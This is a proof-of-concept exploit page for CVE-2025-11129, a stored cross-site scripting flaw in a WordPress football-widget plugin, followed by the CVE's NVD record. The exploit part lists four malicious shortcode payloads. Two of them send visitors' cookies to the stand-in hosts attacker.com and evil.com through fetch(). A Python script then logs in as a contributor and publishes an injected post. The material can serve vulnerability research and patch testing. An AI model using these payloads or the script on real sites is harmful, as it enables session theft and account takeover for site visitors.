CVE-2025-11129

<!-- WordPress Stored XSS PoC for CVE-2025-11129 --> <!-- Requires Contributor-level access or higher --> <!-- Method 1: Using script tag --> [fussball_de api='"><script>alert(document.cookie)</script>'] <!-- Method 2: Using event handler --> [fussball_de type='x' onmouseover='alert(String.fromCharCode(88,83,83))'] <!-- Method 3: Using img onerror --> [fussball_de api='x' onerror='fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- Method 4: Exfiltrate data via fetch API --> [fussball_de type='x' onload='fetch("https://evil.com/log?data="+btoa(document.cookie))'] <!-- Python PoC Script --> import requests target_url = 'http://target-wordpress-site.com' login_url = f'{target_url}/wp-login.php' post_url = f'{target_url}/wp-admin/post-new.php' session = requests.Session() # Login as Contributor user login_data = { 'log': 'attacker_username', 'pwd': 'attacker_password', 'wp-submit': 'Log In' } session.post(login_url, data=login_data) # Create post with XSS payload post_data = { 'post_title': 'XSS Test Post', 'content': '[fussball_de api="\'><script>alert(document.domain)</script>"]', 'post_status': 'publish' } response = session.post(post_url, data=post_data) print('XSS payload published successfully')

{"cve": {"id": "CVE-2025-11129", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:40.873", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Include Fussball.de Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'api' and 'type' parameters in all versions up to, and including, 4.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/include-fussball-de-widgets/trunk/Frontend/Fubade.php#L231", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/include-fussball-de-widgets/trunk/Frontend/Fubade.php#L232", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f0a3df32-aa07-4cc0-97ba-bb4ab64ba6b9?source=cve", "source": "[email protected]"}]}}